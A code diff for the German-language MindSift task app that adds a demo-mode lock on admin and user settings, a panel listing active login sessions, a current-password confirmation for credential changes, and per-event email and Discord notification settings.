@@ -519,6 +528,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
|
||||
{/* Right Content Area */}
|
||||
<div className="md:col-span-3 panel-surface p-5 text-xs">
|
||||
{demoMode && (
|
||||
<div className="flex items-center gap-2 alert-err mb-4">
|
||||
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
||||
<span>
|
||||
In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
|
||||
ansehen.
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
{/* ================================================================= */}
|
||||
{/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
|
||||
{/* ================================================================= */}
|
||||
@@ -1013,6 +1031,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
{/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
|
||||
{/* ================================================================= */}
|
||||
{section === 'server' && isServerAdmin && (
|
||||
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
|
||||
<div className="space-y-6">
|
||||
<div className="border-b border-border pb-3">
|
||||
<h2 className="text-sm font-bold text-main">
|
||||
@@ -1099,6 +1118,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
|
||||
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
|
||||
|
||||
<VoiceStatusCard />
|
||||
|
||||
{/* Alarm webhooks into the local network (SSRF protection) */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
|
||||
<div className="pr-4">
|
||||
@@ -1138,12 +1159,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</fieldset>
|
||||
)}
|
||||
|
||||
{/* ================================================================= */}
|
||||
{/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
|
||||
{/* ================================================================= */}
|
||||
{section === 'smtp' && isServerAdmin && (
|
||||
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
|
||||
<div className="space-y-6">
|
||||
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
||||
<div>
|
||||
@@ -1221,7 +1244,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
|
||||
}
|
||||
placeholder="••••••••••••"
|
||||
placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
|
||||
autoComplete="new-password"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
@@ -1236,11 +1260,30 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
|
||||
}
|
||||
placeholder="MindSift <alerts@deinedomain.de>"
|
||||
placeholder="alerts@deinedomain.de"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
Absender-Name (`SMTP_FROM_NAME`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpFromName || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpFromName: e.target.value }))
|
||||
}
|
||||
placeholder="MindSift"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
/>
|
||||
<p className="text-[11px] text-faint mt-1">
|
||||
Erscheint beim Empfänger als Absender. Leer = „MindSift“; ein Name direkt in der Adresse
|
||||
(„Name <adresse>“) hat Vorrang.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="sm:col-span-2 space-y-3 pt-1">
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
@@ -1307,6 +1350,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</fieldset>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { LogOut, Monitor, Smartphone } from 'lucide-react';
|
||||
import { api } from '../../lib/api';
|
||||
import { Session } from '../../lib/types';
|
||||
|
||||
// Rough device label from the user agent; good enough to tell one's own devices apart
|
||||
export function describeDevice(ua: string): { label: string; mobile: boolean } {
|
||||
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
|
||||
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
|
||||
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
|
||||
const browser = /Edg\//.test(ua)
|
||||
? 'Edge'
|
||||
: /Firefox\//.test(ua)
|
||||
? 'Firefox'
|
||||
: /Chrome\//.test(ua)
|
||||
? 'Chrome'
|
||||
: /Safari\//.test(ua)
|
||||
? 'Safari'
|
||||
: 'Browser';
|
||||
const os = /Android/.test(ua)
|
||||
? 'Android'
|
||||
: /iPhone|iPad/.test(ua)
|
||||
? 'iOS'
|
||||
: /Windows/.test(ua)
|
||||
? 'Windows'
|
||||
: /Mac OS X/.test(ua)
|
||||
? 'macOS'
|
||||
: /Linux/.test(ua)
|
||||
? 'Linux'
|
||||
: '';
|
||||
return { label: os ? `${browser} auf ${os}` : browser, mobile };
|
||||
}
|
||||
|
||||
function formatLastUsed(iso: string): string {
|
||||
const d = new Date(iso);
|
||||
if (isNaN(d.getTime())) return '';
|
||||
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
|
||||
if (minutes < 10) return 'gerade aktiv';
|
||||
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
|
||||
}
|
||||
|
||||
export function SessionsPanel() {
|
||||
const [sessions, setSessions] = useState<Session[] | null>(null);
|
||||
const [error, setError] = useState('');
|
||||
const [ending, setEnding] = useState('');
|
||||
|
||||
const load = async () => {
|
||||
try {
|
||||
const list = await api.listSessions();
|
||||
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
|
||||
setError('');
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Sitzungen konnten nicht geladen werden');
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
void load();
|
||||
}, []);
|
||||
|
||||
const endSession = async (id: string) => {
|
||||
setEnding(id);
|
||||
try {
|
||||
await api.endSession(id);
|
||||
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Sitzung konnte nicht beendet werden');
|
||||
} finally {
|
||||
setEnding('');
|
||||
}
|
||||
};
|
||||
|
||||
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
|
||||
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
|
||||
|
||||
return (
|
||||
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
|
||||
{sessions.map((s) => {
|
||||
const device = describeDevice(s.userAgent);
|
||||
const Icon = device.mobile ? Smartphone : Monitor;
|
||||
return (
|
||||
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
|
||||
<Icon size={16} className="text-muted shrink-0" />
|
||||
<div className="min-w-0 flex-1">
|
||||
<p className="font-semibold text-main truncate">
|
||||
{device.label}
|
||||
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
|
||||
</p>
|
||||
<p className="text-[11px] text-faint truncate">
|
||||
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
|
||||
</p>
|
||||
</div>
|
||||
{!s.current && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => endSession(s.id)}
|
||||
disabled={ending === s.id}
|
||||
title="Dieses Gerät abmelden"
|
||||
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
|
||||
>
|
||||
<LogOut size={13} />
|
||||
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
|
||||
</button>
|
||||
)}
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
@@ -17,7 +17,7 @@ import {
|
||||
Pencil,
|
||||
Copy,
|
||||
} from 'lucide-react';
|
||||
import { AuthStatus, User, UserTheme } from '../../lib/types';
|
||||
import { AuthStatus, NotificationEvents, NotificationSettings, User, UserTheme } from '../../lib/types';
|
||||
import { ApiKeysPanel } from './ApiKeysPanel';
|
||||
import { ServerBackupsCard } from './ServerBackupsCard';
|
||||
import { saveBlob } from '../../lib/download';
|
||||
@@ -29,6 +29,9 @@ import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
|
||||
import { LegalLinks } from '../../components/LegalLinks';
|
||||
import { AboutModal } from '../../components/AboutModal';
|
||||
import { ImportCard } from './ImportCard';
|
||||
import { SessionsPanel } from './SessionsPanel';
|
||||
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||
import { setLinkPreviewsEnabled, useLinkPreviewsEnabled } from '../../lib/linkPreview';
|
||||
import { FormSheet } from '../../components/FormSheet';
|
||||
|
||||
interface UserSettingsViewProps {
|
||||
@@ -44,6 +47,48 @@ interface UserSettingsViewProps {
|
||||
|
||||
type UserSettingsSection = 'profile' | 'appearance' | 'alarms' | 'webhooks';
|
||||
|
||||
export function buildNotificationSettings(user: User): NotificationSettings {
|
||||
const hasLegacy = Array.isArray(user.alarmChannels);
|
||||
const dueEmailDefault = hasLegacy ? user.alarmChannels!.includes('email') : true;
|
||||
const dueDiscordDefault = hasLegacy ? user.alarmChannels!.includes('discord') : true;
|
||||
const s = user.notificationSettings;
|
||||
return {
|
||||
paused: Boolean(s?.paused),
|
||||
includeOwnWatched: Boolean(s?.includeOwnWatched),
|
||||
events: {
|
||||
due: {
|
||||
email: s?.events?.due?.email ?? dueEmailDefault,
|
||||
discord: s?.events?.due?.discord ?? dueDiscordDefault,
|
||||
},
|
||||
shared: {
|
||||
email: s?.events?.shared?.email ?? true,
|
||||
discord: s?.events?.shared?.discord ?? false,
|
||||
},
|
||||
taskDone: {
|
||||
email: s?.events?.taskDone?.email ?? false,
|
||||
discord: s?.events?.taskDone?.discord ?? false,
|
||||
},
|
||||
watched: {
|
||||
email: s?.events?.watched?.email ?? true,
|
||||
discord: s?.events?.watched?.discord ?? true,
|
||||
},
|
||||
},
|
||||
dailySummary: {
|
||||
enabled: s?.dailySummary?.enabled ?? false,
|
||||
time: s?.dailySummary?.time || '07:00',
|
||||
email: s?.dailySummary?.email ?? true,
|
||||
discord: s?.dailySummary?.discord ?? false,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
const NOTIFICATION_EVENT_ROWS: { key: keyof NotificationEvents; label: string }[] = [
|
||||
{ key: 'due', label: 'Fällige Aufgaben (sofort)' },
|
||||
{ key: 'shared', label: 'Freigabe erhalten' },
|
||||
{ key: 'taskDone', label: 'Geteilte Aufgabe erledigt' },
|
||||
{ key: 'watched', label: 'Beobachtete Aufgaben' },
|
||||
];
|
||||
|
||||
export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
currentUser,
|
||||
activeTheme,
|
||||
@@ -96,8 +141,17 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
}
|
||||
};
|
||||
const [showAbout, setShowAbout] = useState(false);
|
||||
// The public demo sends nothing and keeps the shared accounts intact (FLAW-33)
|
||||
const [demoMode, setDemoMode] = useState(false);
|
||||
const linkPreviewsOn = useLinkPreviewsEnabled();
|
||||
useEffect(() => {
|
||||
api.getAuthStatus().then((st) => setLegal(st.legal)).catch(() => {});
|
||||
api
|
||||
.getAuthStatus()
|
||||
.then((st) => {
|
||||
setLegal(st.legal);
|
||||
setDemoMode(Boolean(st.demoMode));
|
||||
})
|
||||
.catch(() => {});
|
||||
}, []);
|
||||
|
||||
// --- Custom Theme Editor State ---
|
||||
@@ -188,6 +242,7 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
const [email, setEmail] = useState(currentUser.email || '');
|
||||
const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || '');
|
||||
const [newPassword, setNewPassword] = useState('');
|
||||
const [currentPassword, setCurrentPassword] = useState('');
|
||||
const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
|
||||
const [savingProfile, setSavingProfile] = useState(false);
|
||||
const [revokingSessions, setRevokingSessions] = useState(false);
|
||||
@@ -198,6 +253,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
const [alarmChannels, setAlarmChannels] = useState<string[]>(
|
||||
Array.isArray(currentUser.alarmChannels) ? currentUser.alarmChannels : []
|
||||
);
|
||||
const [notificationSettings, setNotificationSettings] = useState<NotificationSettings>(() =>
|
||||
buildNotificationSettings(currentUser)
|
||||
);
|
||||
const [alarmEmail, setAlarmEmail] = useState(currentUser.alarmEmail || currentUser.email || '');
|
||||
const [discordWebhookUrl, setDiscordWebhookUrl] = useState(currentUser.discordWebhookUrl || '');
|
||||
const [customWebhookUrl, setCustomWebhookUrl] = useState(currentUser.customWebhookUrl || '');
|
||||
@@ -213,6 +271,7 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
setEmail(currentUser.email || '');
|
||||
setAvatarUrl(currentUser.avatarUrl || '');
|
||||
setAlarmChannels(Array.isArray(currentUser.alarmChannels) ? currentUser.alarmChannels : []);
|
||||
setNotificationSettings(buildNotificationSettings(currentUser));
|
||||
setAlarmEmail(currentUser.alarmEmail || currentUser.email || '');
|
||||
setDiscordWebhookUrl(currentUser.discordWebhookUrl || '');
|
||||
setCustomWebhookUrl(currentUser.customWebhookUrl || '');
|
||||
@@ -225,6 +284,19 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
);
|
||||
};
|
||||
|
||||
const setEventChannel = (eventKey: keyof NotificationEvents, channel: 'email' | 'discord', value: boolean) => {
|
||||
setNotificationSettings((prev) => ({
|
||||
...prev,
|
||||
events: {
|
||||
...prev.events,
|
||||
[eventKey]: {
|
||||
...prev.events[eventKey],
|
||||
[channel]: value,
|
||||
},
|
||||
},
|
||||
}));
|
||||
};
|
||||
|
||||
// --- Handlers: Avatar ---
|
||||
const handleAvatarFileSelected = async (e: React.ChangeEvent<HTMLInputElement>) => {
|
||||
const file = e.target.files?.[0];
|
||||
@@ -253,6 +325,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
triggerHaptic(10);
|
||||
};
|
||||
|
||||
// Changing the password or the login address needs the current password (FLAW-30)
|
||||
const needsCurrentPassword =
|
||||
newPassword.trim() !== '' || email.trim().toLowerCase() !== (currentUser.email || '').toLowerCase();
|
||||
|
||||
// --- Handlers: Profile ---
|
||||
const handleSaveProfile = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
@@ -273,9 +349,11 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
// Not trimmed: login compares the password exactly as typed
|
||||
patch.password = newPassword;
|
||||
}
|
||||
if (needsCurrentPassword) patch.currentPassword = currentPassword;
|
||||
const updated = await api.updateSettings(patch);
|
||||
onUserUpdated(updated);
|
||||
setNewPassword('');
|
||||
setCurrentPassword('');
|
||||
setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' });
|
||||
} catch (err: any) {
|
||||
setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' });
|
||||
@@ -305,14 +383,23 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
setAlarmMsg(null);
|
||||
setSavingAlarms(true);
|
||||
try {
|
||||
const nextAlarmChannels = [
|
||||
...(notificationSettings.events.due.email ? ['email'] : []),
|
||||
...(notificationSettings.events.due.discord ? ['discord'] : []),
|
||||
...(alarmChannels.includes('webhook') ? ['webhook'] : []),
|
||||
];
|
||||
const updated = await api.updateSettings({
|
||||
alarmChannels,
|
||||
alarmChannels: nextAlarmChannels,
|
||||
alarmEmail: alarmEmail.trim(),
|
||||
discordWebhookUrl: discordWebhookUrl.trim(),
|
||||
customWebhookUrl: customWebhookUrl.trim(),
|
||||
notifyBeforeMinutes: Number(notifyBeforeMinutes),
|
||||
notificationSettings,
|
||||
});
|
||||
onUserUpdated({
|
||||
...updated,
|
||||
notificationSettings: updated.notificationSettings ?? notificationSettings,
|
||||
});
|
||||
onUserUpdated(updated);
|
||||
setAlarmMsg({ type: 'ok', text: 'Alarm-Kanäle und Vorwarnzeit erfolgreich gespeichert.' });
|
||||
} catch (err: any) {
|
||||
setAlarmMsg({ type: 'err', text: err.message || 'Fehler beim Speichern der Alarme' });
|
||||
@@ -620,7 +707,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
required
|
||||
className="w-full h-9 px-3 input-field"
|
||||
disabled={demoMode}
|
||||
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||
className="w-full h-9 px-3 input-field disabled:opacity-60"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -633,10 +722,28 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
type="password"
|
||||
value={newPassword}
|
||||
onChange={(e) => setNewPassword(e.target.value)}
|
||||
placeholder="Mindestens 8 Zeichen"
|
||||
placeholder={demoMode ? 'In der Demo deaktiviert' : 'Mindestens 8 Zeichen'}
|
||||
autoComplete="new-password"
|
||||
disabled={demoMode}
|
||||
className="w-full h-9 px-3 input-field disabled:opacity-60"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{needsCurrentPassword && (
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
Aktuelles Passwort (zur Bestätigung)
|
||||
</label>
|
||||
<input
|
||||
type="password"
|
||||
value={currentPassword}
|
||||
onChange={(e) => setCurrentPassword(e.target.value)}
|
||||
required
|
||||
autoComplete="current-password"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="pt-2 border-t border-border flex justify-end">
|
||||
<button
|
||||
@@ -654,9 +761,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<div>
|
||||
<h3 className="text-xs font-bold text-main">Aktive Sitzungen & Sicherheit</h3>
|
||||
<p className="text-[11px] text-muted">
|
||||
Sitzungen werden durch kryptografische JWTs geschützt. Bei einer Passwortänderung werden alle alten Sitzungen automatisch ungültig.
|
||||
Geräte, auf denen du angemeldet bist. Unbenutzte Sitzungen enden nach 30 Tagen; eine Passwortänderung meldet alle anderen Geräte ab.
|
||||
</p>
|
||||
</div>
|
||||
<SessionsPanel />
|
||||
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 p-3.5 rounded-card border border-border bg-canvas">
|
||||
<div className="text-xs">
|
||||
<p className="font-semibold text-main">Alle Sitzungen sofort beenden</p>
|
||||
@@ -667,8 +775,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleRevokeAllSessions}
|
||||
disabled={revokingSessions}
|
||||
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer"
|
||||
disabled={demoMode || revokingSessions}
|
||||
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
{revokingSessions ? 'Beende…' : 'Alle Sitzungen beenden'}
|
||||
</button>
|
||||
@@ -709,7 +818,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => openDanger('account')}
|
||||
disabled={isLastAdmin}
|
||||
disabled={isLastAdmin || demoMode}
|
||||
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||
className="btn-danger h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
Konto löschen
|
||||
@@ -735,6 +845,18 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="p-3.5 rounded-card border border-border bg-canvas flex items-center justify-between gap-4">
|
||||
<div className="text-xs">
|
||||
<p className="font-semibold text-main">Link-Vorschauen anzeigen</p>
|
||||
<p className="text-[11px] text-faint">
|
||||
Karte mit Titel, Beschreibung und kleinem Bild über Punkten mit einer Web-Adresse. Die Seite wird
|
||||
dafür vom MindSift-Server abgerufen, nicht von deinem Browser. Gilt für dieses Gerät; einzelne
|
||||
Vorschauen lassen sich mit ✕ ausblenden.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch checked={linkPreviewsOn} onChange={setLinkPreviewsEnabled} title="Link-Vorschauen anzeigen" />
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
|
||||
{themes.map((t) => {
|
||||
const isSelected = activeTheme === t.id;
|
||||
@@ -942,6 +1064,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{demoMode && (
|
||||
<div className="flex items-center gap-2 alert-err">
|
||||
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
||||
<span>In der Demo deaktiviert: Alarme und Tests werden nicht verschickt.</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{alarmMsg && (
|
||||
<div
|
||||
className={`flex items-center gap-2 ${
|
||||
@@ -958,6 +1087,176 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
)}
|
||||
|
||||
<form onSubmit={handleSaveAlarms} className="space-y-4">
|
||||
{/* Global Pause & Own Watched Toggles */}
|
||||
<div className="p-3.5 bg-canvas border border-border space-y-3">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div>
|
||||
<p className="font-semibold text-main">Alle Benachrichtigungen pausieren</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Pausiert vorübergehend sämtliche E-Mail- und Discord-Benachrichtigungen.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={notificationSettings.paused}
|
||||
onChange={(v) => setNotificationSettings((prev) => ({ ...prev, paused: v }))}
|
||||
title="Alle Benachrichtigungen pausieren"
|
||||
/>
|
||||
</div>
|
||||
<div className="flex items-center justify-between gap-4 pt-3 border-t border-border">
|
||||
<div>
|
||||
<p className="font-semibold text-main">
|
||||
Auch eigene Änderungen an beobachteten Aufgaben melden
|
||||
</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Standardmäßig wirst du nur über Änderungen anderer Personen benachrichtigt.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={notificationSettings.includeOwnWatched}
|
||||
onChange={(v) => setNotificationSettings((prev) => ({ ...prev, includeOwnWatched: v }))}
|
||||
title="Auch eigene Änderungen an beobachteten Aufgaben melden"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Routing Matrix: Events x (E-Mail / Discord) */}
|
||||
{(() => {
|
||||
const hasDiscordWebhook = Boolean(discordWebhookUrl.trim());
|
||||
return (
|
||||
<>
|
||||
<div className="p-4 bg-canvas border border-border space-y-3">
|
||||
<div className="grid grid-cols-[1fr_auto_auto] items-center gap-4 pb-2 border-b border-border">
|
||||
<span className="font-bold text-main">Ereignis</span>
|
||||
<span className="w-16 text-center font-semibold text-muted flex items-center justify-center gap-1">
|
||||
<Mail className="w-3.5 h-3.5 text-accent" />
|
||||
<span>E-Mail</span>
|
||||
</span>
|
||||
<span className="w-16 text-center font-semibold text-muted flex items-center justify-center gap-1">
|
||||
<MessageSquare className="w-3.5 h-3.5 text-accent" />
|
||||
<span>Discord</span>
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="divide-y divide-border">
|
||||
{NOTIFICATION_EVENT_ROWS.map((row) => {
|
||||
const routing = notificationSettings.events[row.key];
|
||||
return (
|
||||
<div
|
||||
key={row.key}
|
||||
className="grid grid-cols-[1fr_auto_auto] items-center gap-4 py-2.5"
|
||||
>
|
||||
<span className="font-medium text-main">{row.label}</span>
|
||||
<div className="w-16 flex justify-center">
|
||||
<ToggleSwitch
|
||||
checked={routing.email}
|
||||
onChange={(v) => setEventChannel(row.key, 'email', v)}
|
||||
title={`${row.label} – E-Mail`}
|
||||
/>
|
||||
</div>
|
||||
<div className="w-16 flex justify-center">
|
||||
<ToggleSwitch
|
||||
checked={routing.discord}
|
||||
disabled={!hasDiscordWebhook}
|
||||
onChange={(v) => setEventChannel(row.key, 'discord', v)}
|
||||
title={
|
||||
hasDiscordWebhook
|
||||
? `${row.label} – Discord`
|
||||
: 'Bitte zuerst unten eine Discord Webhook URL eintragen'
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
<p className="text-[11px] text-faint pt-1">
|
||||
Gebündelt: höchstens alle 5 Minuten eine Nachricht (außer fällige Aufgaben)
|
||||
</p>
|
||||
{!hasDiscordWebhook && (
|
||||
<p className="text-[11px] text-status-warn">
|
||||
Discord-Schalter sind deaktiviert, solange unten kein Discord-Webhook eingetragen ist.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Daily Summary */}
|
||||
<div className="p-4 bg-canvas border border-border space-y-3">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div>
|
||||
<p className="font-bold text-main">Tageszusammenfassung</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Überfällige, heutige und morgige Aufgaben; nichts fällig = keine Nachricht
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={notificationSettings.dailySummary.enabled}
|
||||
onChange={(v) =>
|
||||
setNotificationSettings((prev) => ({
|
||||
...prev,
|
||||
dailySummary: { ...prev.dailySummary, enabled: v },
|
||||
}))
|
||||
}
|
||||
title="Tageszusammenfassung"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-wrap items-center justify-between gap-4 pt-2 border-t border-border">
|
||||
<label className="flex items-center gap-2 text-xs text-main font-medium">
|
||||
<span>Uhrzeit:</span>
|
||||
<input
|
||||
type="time"
|
||||
aria-label="Uhrzeit der Tageszusammenfassung"
|
||||
value={notificationSettings.dailySummary.time}
|
||||
onChange={(e) =>
|
||||
setNotificationSettings((prev) => ({
|
||||
...prev,
|
||||
dailySummary: { ...prev.dailySummary, time: e.target.value },
|
||||
}))
|
||||
}
|
||||
className="h-11 sm:h-8 px-2.5 input-field font-mono"
|
||||
/>
|
||||
</label>
|
||||
|
||||
<div className="flex items-center gap-5">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs text-muted">E-Mail</span>
|
||||
<ToggleSwitch
|
||||
checked={notificationSettings.dailySummary.email}
|
||||
onChange={(v) =>
|
||||
setNotificationSettings((prev) => ({
|
||||
...prev,
|
||||
dailySummary: { ...prev.dailySummary, email: v },
|
||||
}))
|
||||
}
|
||||
title="Tageszusammenfassung – E-Mail"
|
||||
/>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs text-muted">Discord</span>
|
||||
<ToggleSwitch
|
||||
checked={notificationSettings.dailySummary.discord}
|
||||
disabled={!hasDiscordWebhook}
|
||||
onChange={(v) =>
|
||||
setNotificationSettings((prev) => ({
|
||||
...prev,
|
||||
dailySummary: { ...prev.dailySummary, discord: v },
|
||||
}))
|
||||
}
|
||||
title={
|
||||
hasDiscordWebhook
|
||||
? 'Tageszusammenfassung – Discord'
|
||||
: 'Bitte zuerst unten eine Discord Webhook URL eintragen'
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
})()}
|
||||
|
||||
{/* Lead Time Selector */}
|
||||
<div className="p-3.5 bg-canvas border border-border flex flex-col sm:flex-row sm:items-center justify-between gap-3">
|
||||
<div>
|
||||
@@ -983,19 +1282,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
</div>
|
||||
|
||||
{/* Channel 1: E-Mail */}
|
||||
<div
|
||||
className={`p-4 border transition-colors space-y-3 bg-canvas ${
|
||||
alarmChannels.includes('email') ? 'border-accent' : 'border-border'
|
||||
}`}
|
||||
>
|
||||
<div className="p-4 border border-border transition-colors space-y-3 bg-canvas">
|
||||
<div className="flex items-center justify-between gap-2">
|
||||
<label className="flex items-center gap-2.5 cursor-pointer select-none">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={alarmChannels.includes('email')}
|
||||
onChange={() => toggleAlarmChannel('email')}
|
||||
className="w-4 h-4 accent-blue-600"
|
||||
/>
|
||||
<div className="flex items-center gap-2.5">
|
||||
<Mail className="w-4 h-4 text-accent" />
|
||||
<div>
|
||||
<span className="font-bold text-main block">Ziel: E-Mail</span>
|
||||
@@ -1003,13 +1292,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
Sendet eine E-Mail über den konfigurierten SMTP-Server der Instanz.
|
||||
</span>
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleTestChannel('email')}
|
||||
disabled={testingChannel === 'email'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
||||
disabled={demoMode || testingChannel === 'email'}
|
||||
